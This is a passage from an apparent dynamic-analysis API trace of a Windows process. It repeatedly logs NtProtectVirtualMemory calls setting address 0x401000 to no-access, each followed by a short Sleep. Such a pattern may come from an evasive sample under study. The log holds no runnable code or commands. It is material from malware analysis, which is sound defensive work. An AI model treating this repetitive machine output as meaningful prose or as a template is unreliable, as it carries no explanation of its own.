ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.204] Sleep (dwMilliseconds=0x5) [0336.250] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.251] Sleep (dwMilliseconds=0x5) [0336.298] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.299] Sleep (dwMilliseconds=0x5) [0336.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.387] Sleep (dwMilliseconds=0x5) [0336.425] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.425] Sleep (dwMilliseconds=0x5) [0336.473] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.474] Sleep (dwMilliseconds=0x5) [0336.516] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.517] Sleep (dwMilliseconds=0x5) [0336.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.565] Sleep (dwMilliseconds=0x5) [0336.614] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.615] Sleep (dwMilliseconds=0x5) [0336.658] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.658] Sleep (dwMilliseconds=0x5) [0336.706] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.706] Sleep (dwMilliseconds=0x5) [0336.754] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.755] Sleep (dwMilliseconds=0x5) [0336.802] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.803] Sleep (dwMilliseconds=0x5) [0336.850] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.852] Sleep (dwMilliseconds=0x5) [0336.899] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.900] Sleep (dwMilliseconds=0x5) [0336.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0336.948] Sleep (dwMilliseconds=0x5) [0336.999] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.000] Sleep (dwMilliseconds=0x5) [0337.048] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.049] Sleep (dwMilliseconds=0x5) [0337.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.089] Sleep (dwMilliseconds=0x5) [0337.136] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.136] Sleep (dwMilliseconds=0x5) [0337.183] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.184] Sleep (dwMilliseconds=0x5) [0337.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.232] Sleep (dwMilliseconds=0x5) [0337.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.324] Sleep (dwMilliseconds=0x5) [0337.370] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.371] Sleep (dwMilliseconds=0x5) [0337.469] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.470] Sleep (dwMilliseconds=0x5) [0337.513] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.514] Sleep (dwMilliseconds=0x5) [0337.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.558] Sleep (dwMilliseconds=0x5) [0337.604] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.605] Sleep (dwMilliseconds=0x5) [0337.658] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.658] Sleep (dwMilliseconds=0x5) [0337.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.697] Sleep (dwMilliseconds=0x5) [0337.746] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.746] Sleep (dwMilliseconds=0x5) [0337.793] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.794] Sleep (dwMilliseconds=0x5) [0337.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.841] Sleep (dwMilliseconds=0x5) [0337.889] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.890] Sleep (dwMilliseconds=0x5) [0337.933] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.933] Sleep (dwMilliseconds=0x5) [0337.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0337.982] Sleep (dwMilliseconds=0x5) [0338.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.028] Sleep (dwMilliseconds=0x5) [0338.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.077] Sleep (dwMilliseconds=0x5) [0338.120] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.120] Sleep (dwMilliseconds=0x5) [0338.167] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.168] Sleep (dwMilliseconds=0x5) [0338.221] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.222] Sleep (dwMilliseconds=0x5) [0338.275] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.276] Sleep (dwMilliseconds=0x5) [0338.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.324] Sleep (dwMilliseconds=0x5) [0338.392] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.393] Sleep (dwMilliseconds=0x5) [0338.492] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.502] Sleep (dwMilliseconds=0x5) [0338.558] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.558] Sleep (dwMilliseconds=0x5) [0338.614] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.615] Sleep (dwMilliseconds=0x5) [0338.659] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.660] Sleep (dwMilliseconds=0x5) [0338.707] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.752] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.753] Sleep (dwMilliseconds=0x5) [0338.800] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.801] Sleep (dwMilliseconds=0x5) [0338.845] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.846] Sleep (dwMilliseconds=0x5) [0338.898] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.955] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0338.956] Sleep (dwMilliseconds=0x5) [0339.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.002] Sleep (dwMilliseconds=0x5) [0339.053] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.054] Sleep (dwMilliseconds=0x5) [0339.099] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.148] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.149] Sleep (dwMilliseconds=0x5) [0339.206] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.207] Sleep (dwMilliseconds=0x5) [0339.257] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.316] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.318] Sleep (dwMilliseconds=0x5) [0339.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.418] Sleep (dwMilliseconds=0x5) [0339.464] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.464] Sleep (dwMilliseconds=0x5) [0339.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.558] Sleep (dwMilliseconds=0x5) [0339.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.607] Sleep (dwMilliseconds=0x5) [0339.744] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.745] Sleep (dwMilliseconds=0x5) [0339.822] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.822] Sleep (dwMilliseconds=0x5) [0339.904] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.905] Sleep (dwMilliseconds=0x5) [0339.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.948] Sleep (dwMilliseconds=0x5) [0339.995] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0339.996] Sleep (dwMilliseconds=0x5) [0340.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.045] Sleep (dwMilliseconds=0x5) [0340.091] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.092] Sleep (dwMilliseconds=0x5) [0340.135] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.135] Sleep (dwMilliseconds=0x5) [0340.184] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.184] Sleep (dwMilliseconds=0x5) [0340.233] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0340.234] Sleep (dwMilliseconds=0x5) [0340.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: 